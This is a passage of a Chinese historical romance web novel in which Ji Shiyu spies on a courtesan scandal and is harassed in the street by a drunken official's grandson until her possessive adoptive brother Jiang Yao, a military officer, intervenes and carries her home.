“三皇子被打入宗人府自省,胡家和楚王府自顾不暇,没功夫来找我的麻烦。”江曜道。
“我们也不可闲着,楚王妃对你有杀心,我们给她找点事做。”
姬时语眺着灵动的眼,江曜心知她有了主意,便候着她继续说。
“我查到小道消息,胡尚书的嫡亲孙子胡丰汕,在香兰阁养了个小的,名叫雀娘。如今雀娘大了肚子,闹着要入胡家的门。”
“这等事能给楚王妃添麻烦?”
江曜瞥了头,蹙眉犹疑,“一个花楼女子,胡家人想要,纳为妾不就成了。”
“你不要小看男人和女人之间的那点事。”
姬时语“嘿”地一笑,她比了手指,“我这明光书肆可是四通发达呢,你还记得镇国将军府的于威吧?”
“嗯。”
江曜清楚,于威差点成了姬时语的姐夫,后被迫娶了五公主,在京中挂了闲职。
从此一蹶不振,堪比了废人。
“雀娘若只和胡家人有关系还好说,胡丰汕看上了她,为她赎身也无不可。但她这双身子,前不久还接了客,那客人就是于威。我瞧人家说,雀娘不愿接客,是于威喝醉了摸进去强_迫她的。”
姬时语咂舌,说的那叫一个津津有味,“雀娘也知道不能给胡家知晓,香兰阁瞒着紧啊,胡丰汕更不知情。还是有人写了信来,想我写话本子里,你说我这铺子不是耳听八方吗?”
江曜听着,不禁暗叹竟还有人能打听到这等事,还写信送去了明光书肆。
“你说胡丰汕若知道了,会不会恼自己的女人怀着他的孩子,却让别的男人碰了?”
“你说的是。”
小姑娘将售卖话本子的明光书肆,用作招揽京中的各种消息。
江曜真是高看姬时语。
第83章
“你若是不信,我们可以亲自去佐证一番,看此事是不是真的。”
姬时语歪着脑袋,她发髻之间的环佩作响,荡开的珠链轻悠悠打在了江曜的手背。
少年瞥见小姑娘眼底一闪而过的调笑,当即便冷脸否了。
“不去。”
“为什么!”
江曜态度坚决,任姬时语怎样晃动他手臂做撒娇姿态,还蹭过来抱着他哼了又哼,他亦是不变。
“不去就不去!”
磨蹭了许久也不见松软,姬时语丧气哼道:“你不去,那人家自个儿去!”
江曜眸子一沉,又说:“阿锁也不准去。”
“为什么?你不去就算了,还不让我去,我就是想亲眼应证,瞧瞧于威可是和雀娘真有瓜葛。”
“你还想着去香兰阁?阿锁,你胆子不小,嗯?”
那香兰阁是何地方,可是京中声明的花_楼,她一个小姑娘跑去烟花之地,成何体统?
江曜径直握住了姬时语纤细的脖颈,手掌心轻轻滑落。
姬时语甚至能感受得到少年掌心的纹路,印刻在了她的肌肤之上。
温温柔柔的,又极为缓慢,带动着她的寒毛竖起。
“我不以真面容以示,换一身男装去不就好了?”
姬时语还想辩驳:“到时谁知道我是忠义侯府的五小姐,无人知晓也就无人会提。”
“阿锁,别闹。”江曜冷道。
姬时语环臂,她努力摆动身子想甩开他的手,可那只手真如黏在她脖上似的,怎么也摆脱不了。
“那等腌臜之地,岂是阿锁能去的?”
江曜握住她的颈部,像拿捏了她的命脉,边蹙眉说:“你乖些,莫要让我直接禀报给侯爷和夫人。”
姬时语不悦瞪大眼,一双猫瞳是充斥着些许怨怼之意。
这人还拿她爹娘胁迫起她来了。
江曜安抚似的拍拍她,“不要起偷摸出府的念头,你遭过难,我和侯夫人心思同样,不会再让你涉险。”
“你怎么这样?”
“你的脚伤还未好全,要在府上养病。”
“江曜,你莫要太过分啊!总阻我外出,我可真的会恼火的。”
“我说的是实情。”
姬时语一副凶神恶煞的神情,偏小姑娘脸蛋太白软,怎么凶样就如同一只柔软小兽似的,毫无威慑之力。
江曜勾唇笑笑,指腹落于她下巴,捏住她的下巴尖,便这么微抬了抬。
姬时语不得不直视少年的一双狐狸眼,他的眼深邃如深渊,她被引得吸了进去。
他一笑,倒显得她方才是在打趣逗他。
可是姬时语是那样认真。
因而她不快地又拍了江曜的手背,不愿再让他抓着。
拍开江曜的手背,少年手上顿时多了一道红痕。
小姑娘可打的不轻。
江曜觑了一眼被挠红的手背,姬时语便是恶狠狠瞪他,“该,谁让你只会和我对着干。”
“阿锁总想着四处乱跑呢。”
江曜沉吟一声,他看了眼手背的红痕,复而说道:“看来我要在和夫人说说,让她安插些侍卫在你身边。”
姬时语的牙齿都咬住了。
这就又威胁她啊!
她怎么就只打了一巴掌呢?
还是打的太轻。
就该多打几下,他欺负自己,她自然也要还击,以牙还牙,才解她心头的气愤。
姬时语便又是一巴掌拍上江曜的手背,她气鼓鼓道:“对,我打的就是你。”
江曜也不恼,他睨向姬时语白软的手心,再看看自己被拍红的手背。
复而他笑起来,“你打吧,这事没的商量。”
……
就这么隔日,舒氏便亲自领着林大夫来了韶华院。
林大夫为姬时语看伤,小姑娘听着舒氏板着脸教导起来:“阿锁,我听
云让说,你伤未痊愈还想着要出府玩耍?”
姬时语没好气地垂头回:“娘,他怎么什么都跟你说。”
真是的,她这不是还没出府呢?
出师未捷身先死,说的可不是就是她。
念头才生起,隔日江曜便告发到了舒氏那儿,姬时语总觉着,这男人是愈发的小心眼了。
“阿锁,你已是及笄了,又不是十岁的孩童,玩心不可太重。在府上养伤便好好休养,总想着跑这儿去跑那儿去的,你脚腕还要不要了?”
这时舒氏还在唠叨,多是一副慈母操碎了心,只是姬时语听的多,耳朵也像起了茧子。
“娘,好了好了,我省的。我这些日子不是老实的很吗?你看我哪里也没去。”
姬时语嘟了嘟嘴:“是哥哥说太多,他说什么你就信什么,你怎么不相信你的好闺女呢?”
“云让是比你还是要听话,他是个好孩子,我当然会信他。”
舒氏瞧她一眼,点道:“而你,你若听得进去,便也不会伤了脚腕。”
“娘,哪有你这样胳膊往外拐的?”
姬时语躁的脸皮热,舒氏还是拿江曜来比她,她怎么就不如江曜可信了?
小姑娘不服气道:“我是你的亲生女儿,你这全是偏心眼!”
林大夫在旁听得笑出了声,他很快起身咳了几下,同舒氏道:“五小姐这伤,只要她自己不胡闹,再过几日便可下地走路。”
舒氏转瞬瞪姬时语,“听着了吗?你万不可胡来。”
“我真不会胡来!”
姬时语朝着舒氏起誓道:“我姬时语若是胡闹,便让老天爷罚我这辈子吃不饱睡不暖,身上只余一个铜板好了。”
舒氏真当投来了狐疑的眼神。
若非姬时语脚腕有伤,她登时便要跳脚,“娘,你看看你,你便是偏心眼,你就说你只信哥哥的好了!”
“我倒是真心希望云让是我的亲生儿子啊,他可比你让人省心多了。”
舒氏轻轻抬笑,正是姬时语是她疼爱的小女儿,这等话她才敢说。
自家人越是亲密,越是能说些掏心窝的话,彼此也不会真觉着是在怨怪对方。
“云让这些年随你父亲征战,性子沉稳刚正,他又在朝中任职,前途不可限量,你看谁家不说一句,自家儿郎若能如江云让,是祖上烧了高香?”
舒氏叹息,微微感到可惜,“只是遗憾,他亦有自己的亲生爹娘。”
说起江曜的身世,舒氏亦是发愁犯难。
忠义侯姬雄武早先便告诉了她,江曜乃是楚王府的私生子。
江曜是江子墨的兄长,还是白家的后裔。
“云让可不好回楚王府啊,楚王妃胡氏我知道她的,当年她下嫁楚王爷,是她自己的主意,无人逼迫,可见她早打算好了。”
“楚王妃是胡家嫡女,为何会看上双腿残废的楚王爷?”
萍亭要为舒氏沏茶,被舒氏摆手拒了。
舒氏目光平和,小姑娘投眸看来,像只灵动的小雀,舒氏笑了:“阿锁很想听胡家事?”
“这不是娘先说的,我想知道哥哥何时好回楚王府。”姬时语哼笑。
“一时半会怕是难,楚王府名义上是楚王爷为尊,但你也知道,他久居房中,离开不得。”
舒氏道:“老楚王并不管事,府上全交由楚王妃操持。”
可以说,楚王妃胡氏的这一辈子,所图的就是楚王府的权势地位。
她要自己的孩子承爵,为此不惜嫁给残废的楚王。
“我们请老楚王和楚王爷出面亦是不行吗?”
“阿锁,忠义侯府不能和楚王府有牵连,只能旁观,这事插手不了的。”
舒氏平静抬眼,在姬时语十足震惊的目光中,舒氏说道:“一旦我们道出忠义侯府早知云让的身世,陛下定会降罪侯府。”
姬时语恍惚忆起来,楚王府不仅仅是当朝唯一的王府,老楚王更是弘文帝的皇兄,先帝的长子。
若论长不论嫡,当年便该是老楚王荣登大宝了。
而忠义侯府世代忠良,长久效忠陛下,忠心耿耿,是弘文帝最稳妥的一把利刃。
这般之下,若侯府主动抛出知晓内情,并养育了楚王府私生子多年,后亲自将人送回王府。
弘文帝该怎么想?
是忠义侯府与楚王府背地早有勾结,意图谋反?
姬时语吓得后背起了冷汗,舒氏瞧出小姑娘脸蛋忽的煞白,是心有余悸了,她笑着安抚自家小女儿。
“阿锁,莫要慌张,云让迟早是要回王府,只是不该由我们送他回去。”
姬时语喃喃点头:“我只是觉着有些委屈哥哥了。”
“唉,这没法子,云让这孩子生来便是可怜命,靠的是一身坚韧不拔,立于如今的地位。他如此心性,老天定不会待他太薄。”
“好在哥哥入了陛下的眼,待回了王府,至少能得个郡王的封爵,定不会输给江子墨。”
舒氏沉声应道:“是啊,他风头正盛,等老楚王和楚王爷发觉当年之事,应还会愧疚弥补他的。”
如此一来,姬时语终于踏实安心,她放宽了心,靠回屋中的梨花木圆椅之中。
舒氏见小姑娘安逸,窝着笑眯起双眼,人宛如一只懒散的猫儿,她忍不住笑了。
“阿锁,再过几月,你几个姐姐们陆续要出嫁,你若是闲着无事,便去替姐姐们绣花,免得让她们太劳累。”
“娘,你要我去做绣活?”
舒氏这一提,引得姬时语不住哀嚎,“你又不是不知道我绣脚有多难看,姐姐们用着我的帕子,还不得全丢了烧了。”
听这话,萍亭萍柳在旁偷摸笑了好半天。
两个丫鬟可是知道,自家姑娘没绣活的功底。
大半个月绣出的鸳鸯,像鸭子又像山鸡,鼻子不是鼻子,眼睛也不是眼睛的。
“你不得下功夫练练?往后出嫁,你如何做刺绣补嫁妆?”
“非要自己做绣活吗?那劳什子嫁妆,想着头疼死了。”
舒氏板起了脸,姬时语不敢多嘴,她小脸一晃,玉色脸蛋生了光,突然娇笑问:“娘,那我这几日帮衬姐姐们,过些时,你让我出府一趟,好不好?”
小姑娘又在嘀咕琢磨事了。
“不行。”
舒氏当然瞧出了她小心思,旋即便道:“想都不要想。”
“啊!”
姬时语耷拉着脑袋,彻底蔫了。
第84章
舒氏说不让出府,不过姬时语也有自己的法子。
对江曜的事,她早前下定决心不会袖手旁观,忠义侯府不得明面上插手,姬时语便欲背地为江曜造势。
无论如何,她会送江曜回楚王府。
十一月的天,近初冬,屋外头凉气逼人,姬时语打着要去明光书肆的幌子,硬是软磨硬泡让舒氏松了口。
萍亭萍柳为小姑娘系好兔毛披风,又戴上一袭白纱帷帽,两人半搀半抱将姬时语送入马车。
坐稳之后,马车一路驶往香兰阁。
萍柳微微叹息,“小姐,这般昧着夫人去香兰阁,你就不怕事后夫人禁你的足?”
“不怕,我娘问起来,就说我们只是街上路过,瞧上一瞧。”
姬时语探出脑袋,眼见街上人群纷纷,忠义侯府的马车停靠在一处巷子边。
在前方几步之远,便是东南街的香兰阁。
姬时语并未说错,这香兰阁她并未打算进去,
只在外瞧几眼,舒氏应不会怪罪。
萍亭问:“小姐,要等着吗?”
“让我再瞧瞧。”
姬时语没掀帷帽,就着朦胧的视野,投目在香兰阁门前。
很快她便有些泄气,“这样瞧不是个法子,萍亭,你去一趟香兰阁,看看可能打听出什么。”
“是,小姐。”
今日萍亭未穿丫鬟的那身粉衫袄子,姬时语命林妈妈去寻了府上马夫的短褂,让萍亭扎起长发,着了男装。
姬时语特意让萍亭换了短褂,为的便是入香兰阁的门。
她自个儿不去,萍亭代她去便是。
香兰阁门前,于威正与老鸨说着话。
“于威来了!”
萍亭才下马车,姬时语眼珠子一转,十足机灵地立马喊:“萍亭,快去跟上他。”
多时不见,于威已憔悴的不成人样,双眼乌青,眼窝凹进,脚下虚浮。
姬时语知晓,自打成婚,于威便不愿再回将军府。
他成日留恋花楼,整个人被磋磨不成形,哪里还有五年之前初见之时,那股不避斧钺的刚毅。
可巧,今日能撞见于威,正中姬时语的心,真是全然得来不费功夫。
瞧着萍亭快步上前,往老鸨怀里塞了一把银子,那老鸨脸笑得谄媚,忙迎着萍亭入内。
“小姐。”
萍柳投目过去,不免有些担忧,“不会生事吧?”
“不会,这等地方银钱带够了,里面的人不会为难于你。”姬时语像是胸有成竹。
忠义侯府的马车便停在街头巷子口,姬时语侧靠于马车厢中软榻,她半撩着车帘,往外头不时探视几眼。
正值午时,初冬叫卖之人还是不少,可天着实冷了些,小摊各处闲聊笑着,口出几团白雾。
姬时语来了兴致,问道:“他们都在聊些什么?”
萍柳在外,听的清楚些,她笑了笑,回说:“在说大皇子妃回了苏家之后,闹着要和大皇子殿下和离。”
“哎哟,她想和离?”
“他们在赌,赌大皇子妃和离不和离的了。”
姬时语想到苏氏一副柔弱拂柳的模样,偏就是嫁给了江承运那个暴虐无道的男人,她不觉心生怜悯。
江承运是个掌控欲极强的男人,苏氏若反抗他,反而会遭他的报复。
她总觉着两人之间,多半离不了。
姬时语侧靠着,思绪又跑远了些。
二皇子孱弱,三皇子和大皇子多年党争乃是死敌,江子墨又与三皇子江承北同党,江曜若回了楚王府,处境仍然堪忧。
朝中党派众多,一个不慎便踏入深渊。
姬时语幽幽叹息。
自古皇家多白骨,她这个闲散之人,是真不愿意费神费心去斗争,累得慌。
每日能吃好喝好,已是莫大的满足。
加之她这一世心悸的毛病已好了大半,及笄之后鲜少再犯,姬时语满心都是欣慰雀跃。
没什么比好生活着,来的更重要。
“叩叩叩。”
想着想着,马车被人自外敲了敲。
姬时语的耳鼓微震,她坐起身,便听萍柳在外先行发问。
“这位公子,不知你有何事?”
“你是哪家、哪家的丫鬟?”
来人还大着舌头,说话口齿不清,酒气顺着车帘飘入,熏得姬时语拧了鼻子。
“萍柳,将人打发走,不要搭理。”姬时语喊道。
“啊!”
萍柳却放声大叫,不断喊着:“不要,放开我!”
“你这丫头瞧着模样就很不错,你不知爷的身份?”
外头之人的嬉笑声响起,“可别给爷装什么贞洁烈女,跟了我,我保你吃香的喝辣的!”
“放肆!”
姬时语撩开车帘,倾身而出,她站定于车辕,怒不可遏。
来人满面荀红,是真醉酒上头滔天熏气。
萍柳已被拽下了马车,此时被那人半抱在了怀中,吓得白了脸。
姬时语怒道:“你敢动我们忠义侯府的人?”
“忠义侯府?是忠义侯府的姑娘啊,莫怪连声音都这么好听。”
胡丰汕像酒醒了一刹,转而改口道,“我可是尚书府胡家的公子,你是忠义侯府的哪位小姐?”
姬时语心头翻涌起好一阵厌恶。
原来这就是兵部尚书胡家的少爷,楚王妃的侄子胡丰汕。
真是个贪淫纨绔之辈。
“小美人怎么不说话呢,爷还等着听你的名讳啊!”
胡丰汕作势低头,要亲怀中萍柳,他臭熏熏的嘴被萍柳推着躲开了。
“宁乐。”姬时语喊人。
宁乐突然闪身出现,一脚踹上胡丰汕腿间。
膝盖一个弯折,胡丰汕踉跄着要倒地,胡家小厮侍从手忙脚乱地将人给接住。
“少爷!”
姬时语这一看才察觉,胡丰汕出行竟还带了十个名下人。
萍柳还是头一回当街被男人调戏,顿时瑟瑟发抖,宁乐轻轻将她带到身后,以身护着她。
被两人搀扶着,胡丰汕酒却未醒,他眸子飘忽,一会儿看萍柳,一会儿又看姬时语。
“身段曼妙,不错不错,是个上好货,爷有大福了。”
末了,胡丰汕朝姬时语打了个笑嗝,“来人,给我捉了那马车上的小美人,爷要同她欢_好!”
“少爷,这是忠义侯府的小姐,不可随意招惹啊。”胡家侍从劝说。
“爷的吩咐谁敢不听从?”
胡丰汕一巴掌打过去,“忠义侯府的小姐怎么了?我想要的人,还没有得不到的!”
姬时语的脸色难看至极,胡丰汕口无遮拦,跟团烂泥似的,被他多看两眼,她都嫌弃脏了身子。
出府怕人多眼杂,姬时语只带了宁乐宁心两人,可她的两位贴身女暗卫身手不俗,对付胡丰汕这种小人已是够了。
因此,她喝令道。
“宁乐,宁心,尊我命令,胡家人敢冒犯,忠义侯府决不轻饶。”
“是!”
宁乐和宁心护在马车之前,两人齐齐拔了刀剑。
“哟呵,给你脸你还不愿意了?”
胡丰汕见姬时语抵抗,眼眸霎时通红,回身他猛然抽出了侍从腰间的刀。
宁乐蹙眉:“小姐,胡家少爷发着酒疯,当街刀剑不长眼,恐会连累侯府。”
姬时语不是没察觉到。
余光中四面街上众人纷纷注目,投向了他们这面,皆是因胡丰汕当街拦姑娘而打量着。
宁心则冷声:“小姐,胡家若先动手,杀了也怪不到侯府的头上。”
姬时语刚要开口下令,街道聚集的人群刹那间自行分列两道,让出街道中央的路来。
有人在街口高声大喊,“五军都督府都督佥事大人巡城,闲杂人等让行——”
没了喧哗声,绣花针落地似可闻。
“小姑娘,还不下马车?”
胡丰汕徒手朝忠义侯府的马车抓来,宁心迅速提身,长剑执起要去挡下,一把寒光飞刀瞬间飞来。
“啊!”
那把飞刀直入胡丰汕的手背,只听刀身刺入血肉的刺啦声,和他凄厉的尖叫。
响彻如死寂的街道。
胡丰汕抱着入骨三分血流不止的右手,惨叫怒吼:“是谁不长眼睛,竟敢伤老子!”
“胡丰汕,睁开你的狗眼好好看看,站在你面前的是谁?”
五军都督府的都事陈疾一拉缰绳,冷声落下:“胆敢当着都督佥事江大人的面欺凌女子,就该抓你入牢狱之灾!”
姬时语侧目而望,一行人正朝此行来。
江曜高骑大马,马头直正对着街道,人群让行,他挺直脊背驾马走近。
逆着光,江曜一身正二品朱红色官服,胸前绣着猛兽补纹,清冷俊容无端矜贵,周身阴冷之气比冬日还要寒气逼人。
是哥哥来了。
姬时语心虚的转脸瞥头,不想让江曜瞅见自己。
可小姑娘侧身时依稀感受到了一股灼热的目光,正注视着她。
日头当照,凉风吹拂过姬时语裹着兔毛的披风,她冷得缩了脖子,下巴尖顿入一团柔软之中。
姬时语百思不得其解。
江曜来的竟是如此之快,莫非真在她身边安插了人手?
她这才刚刚当街遇险,今日江曜还在当职之中,便带人以最快速杀了过来。
除非有人传报,不若他怎会知晓的这般清楚?
无论她走去哪里,他跟长了千里眼似的及时寻到她。
那种感觉她宛如池水里的一株水藻,被另一株死死缠绕,水域广阔,她却不得喘息和挣脱。
姬时语愠着眉眼,定定沉思,心口郁结一股气。
那面江曜已径直下了马,姬时语还是起了好奇心,微侧头睇去一道轻瞄,只见江曜冷脸一把掐住了胡丰汕的手腕。
一用力,插入胡丰汕手掌的飞刀被江
曜血淋淋的拔出,鲜血喷涌,洒了胡丰汕一脸。
“啊!”
胡丰汕痛叫不已,江曜扣着他手腕摁在马车之上。
“你刚想用脏手碰谁?”
江曜拔出长刀,他狐狸眼阴郁着,他薄唇之间喷出白雾,凉风随之猎猎。
“胡丰汕,胡老太爷当真生了个好孙子啊。”
“你,你要对我做什么?你不怕胡家对你出手……”
“呵,胡家做的还少吗?”
江曜冷嗤,他长刀举起,刀尖寒光迸射,手腕一垂,长刀瞬间便要砍上胡丰汕的手腕。
见此情形,帷帽之下,姬时语那张小脸彻底雪白。
“云让哥哥!”
第85章
姬时语站在马车之上,侧靠于车厢,她探出半个身子,脚腕无力。
见到江曜举起手腕,腰肢登时软塌了下去。
江曜朝她轻眺了一下狐狸眼,微微仰头。
隔着白纱帷帽,似乎也可见她紧绷的下巴尖。
小姑娘扒在车厢,手指紧抓壁沿,指甲盖隐隐透了点粉,还有细微的颤。
江曜呵了一声,长刀将落下的一刹,姬时语迅速闭了眼。
“噗哧——”
没得尖叫声,反而是车下胡丰汕猛烈的喘气。
江曜的长刀捅进了马车。
马车晃动,姬时语本就脚跛,如此一惊一乍,几乎站不稳。
身形一倒,她整个人撞上了壁缘,疼得抽气。
“胡丰汕。”
江曜单手握刀,低沉的声音随着胡丰汕的头颅低下而凑近,“醒酒了吗?”
“都督,都督大、大、大人。”
胡丰汕一颗脑袋被摁在马车,右手被长刀贯穿,却不是从手掌。
江曜的长刀穿过他手指缝隙,牢牢钉死在了车壁,似将他的手掌一并钉住了。
胡丰汕满脸潮红未褪,眼里倒是清明了几许,结结巴巴求饶:“都督大人,我,我……”
“你看清楚你冒犯的是谁了?”
“是都督、都督大人的妹妹,忠义侯府五小姐。”
胡丰汕没得本事,但他有个身任当朝兵部尚书的祖父。
加之胡丰汕又是胡家的嫡长孙,骄奢淫逸、游手好闲惯了,喝多上街偶然一见貌美姑娘,便起了意想调戏几句。
今时却撞了个大的,五军都督府的都督佥事江大人,刚巧巡视京城,亲眼撞破他调戏姬时语。
“知道你还敢动她?”
江曜冷厉发问,转而将长刀一把拔出。
冰凉的刀刃擦过胡丰汕的手指,胡丰汕吓得以为要被江曜砍掉手,放声便是大喊。
“江云让,胡家的老太爷乃是兵部尚书,你虽是五军都督府的都督佥事,可也要给兵部几分面子。新官上任三把火,你敢动他的长孙,哼!”
“你还威胁起我来了,看来你不想要这只手。”
江曜长刀一执,顿时锋利刀刃搁在了胡丰汕的脖颈,“兵部尚书胡家,就教出你这么个东西,笑话!”
“你想杀我?江云让,天子脚下你可别太嚣张……”
胡丰汕是被吓得哆哆嗦嗦,可仍有几分挣扎,一想到江曜的官职怎么也越不过亲祖父胡老太爷,他不甘咆哮道:“你敢动我,我们老太爷朝上参你一本,你这官路就做到头了!”
“是吗?”
姬时语便站在两人之边,听得胡丰汕的话,她又是着急喊:“哥哥!”
她是怕众目睽睽之下,江曜杀了胡丰汕,平白让江曜落一身的污秽,洗刷不尽。
到时真百口莫辩。
江曜抬眼,小姑娘嗓音急切,染着十足的担忧,到底不想在姬时语跟前见血,想罢他收了刀,抬脚一脚踹在胡丰汕腰腹。
“啊!”
胡丰汕翻倒在地。
江曜喊了人来:“陈疾,送他去官府,交给京兆尹的沈册。”
“是,江大人。”
江曜的下属都事陈疾,扬手一挥,五军都督府的侍卫一拥而上,三下五下便将胡丰汕大绑捆走。
陈疾看了一眼江曜,等他下令,江曜却翻身上了马,他扬首吩咐手下人。
“你告诉沈册,胡丰汕当街欺女,意图凌_辱忠义侯府的小姐,定何样的罪让他看着办。”
定何样的罪让京兆尹沈册沈大人看着办。
陈疾额头冷汗淋漓,五军都督府抓的人送去官府,沈大人岂能不重视?
不可能!
且这回还是江曜亲自抓人,在他口中早判胡丰汕重罪,欺男霸女一旦定罪,免不了三年的牢狱之灾。
“还有。”
江曜勾起了笑,在这冰冷寒风中,他的笑容宛如冬日般冰冷刺骨:“转告胡家,我抓的人,只能由兵部尚书胡大人亲自去提。”
陈疾又是一阵心惊肉跳。
尚书胡大人亲自去提人!
江曜是故意让胡家的丑事扬名,要胡老太爷满京城丢那张老脸。
然而这样一来,五军都督府可就彻底和兵部交了恶。
“可是……”
陈疾犹豫之下还是问:“江大人,那大都督那儿……”
“此事若出后果我会担着,你只管去办。”
江曜拉了缰绳,倾身骑马来到姬时语身边,他侧头望来,喊小姑娘:“阿锁,我先送你回忠义侯府。”
姬时语好半晌才回神,呆呆愣愣钻回车厢。
见她身影消失,江曜溢着笑意的狐狸眼瞬间升起一抹阴郁之色,陈疾在旁喊了声:“大人,您不去官府?”
“这点小事你还办不好?”江曜回看。
凉薄的眸光盯得陈疾头皮发麻。
陈疾改口道:“是,我这就去。”
胡丰汕是胡家的宝贝嫡长孙,平日没少作恶,只是他常入香兰阁,欺负的也都是些伶人,是以有兵部尚书胡老太爷做靠山,这京城还没人敢动他。
陈疾扫视过忠义侯府的马车,江曜以袒护的姿态守在车边,方才他滔天的怒火似乎全有了缘由。
前些日子,江曜初入五军都督府时。
十八、九岁的少年,自岭西大胜归来,顶着忠义侯之徒的名字,就这么正大光明的被封为正二品的都督佥事。
五军都督府的众军无一人服气他。
彼时统帅五军都督府的大都督乃是廖城廖老将军,廖老便喊了江曜入军,对众军放出话来。
扬言若有不服江曜的将士,允其和江曜打一场。
那一日,仅是短短半日,江曜一人干翻了几十人。
连同为都督佥事的方有德大将,也没打过江曜。
这番较量下来,足以可见少年在岭西的那五年,是没日没夜的拼杀,习得了一身勇猛。
江曜满身血气阴冷煞寒,在京中这众军闲散惯了的五军都督府,很难再寻出第二人,能有与他同样怖人的气势。
因此,陈疾明白了江曜的厉害,心甘情愿的臣服于他。
恭恭敬敬的奉一句,都督大人。
江曜话少,很少参与军务,每日前往五军都督府,不是干坐着,便是巡视。
陈疾以为江大人只是个寡言之人。
但今日陈疾在街上亲眼所见,江曜想当场杀了胡家的长孙胡丰汕,那周身萦绕的杀气绝对做不得假。
再见忠义侯府马车之中坐着容颜娇俏灵动的小姑娘,那位乃是忠义侯大将军姬雄武的次女,江曜的妹妹。
是江大人的逆鳞啊。
陈疾突然就了悟了。
江大人看似冷漠无情,心中唯一一处柔软,便是给了五小姐姬时语。
“嘿嘿,让我发现了,大人还真是个护妹护的紧的。”
陈疾胡思乱想一通。
一行侍卫军已是走远了,陈疾还呆在原地眼瞅着忠义侯府的马车呢。
“陈疾。”
江曜回身,看陈疾满脸的笑得不知所谓,不悦蹙眉:“你还不走?”
“哦,哦,我这便去。”
陈疾受不住江曜的冷脸瞪眼,他飞快架马追上侍卫军,往官府而去。
姬时
语听车厢之外没了动静,撩开帘子探头而出,江曜便在车旁,她仰头便道:“哥哥,你还在就任,不好擅自离职,我没事的,让我自己回府吧。”
“我送你回去。”
江曜不听她任何回绝,执意驱马,提声命忠义侯府的车夫调转马头。
在这时萍亭刚好从香兰阁折返归来,她爬上马车喊了声“小姐”,待一侧头见到一身官服江曜,他面容如斯威严肃穆,萍亭是呆若木鸡。
“阿锁。”江曜低声唤姬时语。
姬时语的丫鬟进出香兰阁,还是一身男装被江曜抓了个正着。
江曜岂会不懂姬时语为何而出府?
车外,瞥向她的眼很寒冷,姬时语只觉着身子也随之冰凉了,她不敢多瞧,深感此地不宜久留,忙缩回车厢。
姬时语心虚的冲外头喊:“回府,现在就回侯府!”
一盏茶的功夫,马车停靠在忠义侯府石狮子旁。
路途死寂,江曜缄默,姬时语心头那是慌得不行。
外头萍亭与萍柳更是一言不发,姬时语等了片刻,终是跛脚缓慢爬出了车厢欲下马车。
她刚掀开车帘,一只骨节分明的大手已是先一步攥住了她的脚腕。
冰冰凉的触感令姬时语大叫:“啊!”
一道惊呼,那只大手上挪,触及她光滑的脚腕,姬时语的脸皮顿感一阵燥热。
他怎么又突然摸她了?
姬时语还在胡思乱想,车下的江曜双臂伸展,手臂再度一抬高,遒劲的胳膊便将她的腰肢揽住。
“哥哥!”
措不及防的,姬时语被江曜抱下了马车。
可下了车,她的脚却没落在地上,江曜还抱着她,就这么大步往府门里走去。
“可以了,你让我下来,我自己走。”
江曜跟抱小孩儿似的,让姬时语坐在自己手臂上。
他的手所放之地太暧昧,稍不经意间便会触碰她身上的软肉,一接触,姬时语更是燥热难安。
姬时语的脸蛋如烧起了红云。
她已不是十岁的孩童,是及笄的大姑娘了,光天化日在府上,还用这等羞人的姿势被抱着的话,她是真不想见人了!
“哥哥。”姬时语又是喊他。
小姑娘羞赧得不行,不住扭捏身子挣扎,便想江曜放她下来。
江曜似没听见,他只是说:“你的脚伤未愈。”
“我已好得差不多的,我真的能下地走路。”
“阿锁,你还未同我解释,今日怎么私自出府,去的还是香兰阁,嗯?”
“我那是,那是真有要事!”
姬时语狡辩者,她捶打了几下江曜的肩膀,江曜笑了笑,他将膝盖猛然一提,便将她往上掂了一下。
那只拥着她柳腰的手好似要松开,虚晃一招,姬时语却花颜失色,吓得立马环抱住江曜的脖子。
“这些时日,阿锁养得像重了些。”江曜轻笑。
“你觉着我太沉?那放下我不是正好,我还不想难为你呢。”
江曜只是一挪手,无意似的,挪到了她后背的腰窝,轻柔摁了摁,又往下挪了一分。
他笑着道:“没有,我是觉着你养的圆润些更好。”
“别……”
她脸红红,那处之下是她的……
姬时语可不能让他再往下摸了。
反手将他手背摁住,她也不再挣扎,乖顺地窝入江曜的怀里。
江曜一路抱着姬时语前行,他是说什么也不放手,姬时语怕跌倒摔下去,还只能圈住他脖子,无奈作乖巧样趴上他的肩。
走至回院的路上,侯府里不时有下人朝两人投来目光,好奇打量。
“啊。”
姬时语避不开那些注视两人的眼,万分羞恼,她双手抓住白纱帷帽,像是掩耳盗铃似的,左右不住劝慰自己。
她蒙着脸呢,外人瞧不出她是何人。
那丢脸的只会是江曜。
关她何事,哼哼!
江曜抱着她走过长廊,再过这道院门,便可入侯府的后宅。
他问她:“回韶华院?”
“我要去三姐的春和院。”
姬时语撑在江曜肩上,她起了身,一双猫瞳被蒙在白纱之中,却尤感水亮。
第86章
春和院,四小姐姬如蕊褪下薄绒短袄,念了一句:“还有些热了呢。”
入冬之际,侯府姑娘们不大愿出屋,窝在内室坐得久了便极易起薄汗,姬如蕊念叨,姬如萍觑她一眼,笑着从绣篓取出一只平整的棉袜。
姬如萍道:“说的像是我让你做绣活劳累了似的。”
“我可未说过,姐姐你自个儿怨的啊!”
姬如蕊笑了笑,未免凉了入病气,她还是换了一身长袄披着。
“今日我们做了几双棉袜?”姬如萍问。
“十来双是有的。”
姬如蕊数落绣篓里的棉袜与汗巾,一筐罗是几近装满了,皆是这几日她和姬如萍做的绣活,她说:“再做几双,一并送去给大姐吧。”
“这敢情好。”姬如萍应和。
两姐妹说着话,屋外突然传入一道娇俏的女音。
“都到春和院了,你快放我下来!”
姬如萍和姬如蕊对视一眼,两人听出是姬时语的声音,才要起身,江曜已是抱着姬时语入了屋子。
一身虎补官服极具威压的江曜闯入室内,不大的屋子瞬间显得逼仄不已。
姬如萍迎过去,“五妹怎么来了?”
“三姐!”
小姑娘还在扑腾,她趴在江曜肩上喊,却被江曜一把放进梨花木圆椅之中,她反手推了江曜,像在置气。
江曜却将她脸上的白纱帷帽徒手摘了去,帽下姬时语莹白的下巴落了红痕,秀眉一颦。
姬时语不快道:“好啦,都送到春和院了,你也该走了。”
江曜一双墨色的眼眸定定注视她。
“五妹是从府外回来的?”
姬如萍哪里看不出江曜官身在身,走来便问姬时语:“瞧你这一身打扮,我还当是府上的哪位呢。”
“方才有点事,我出了一趟府。”
姬时语又是暗地里推搡江曜,眉眼不住给他睇去,让他快些走人。
江曜攥住小姑娘纤细的手腕,抚摸了两下,阴沉的眼缓慢地暗了下去。
没多久,江曜起身朝着姬如萍和姬如蕊姐妹道:“劳烦三小姐和四小姐了。”
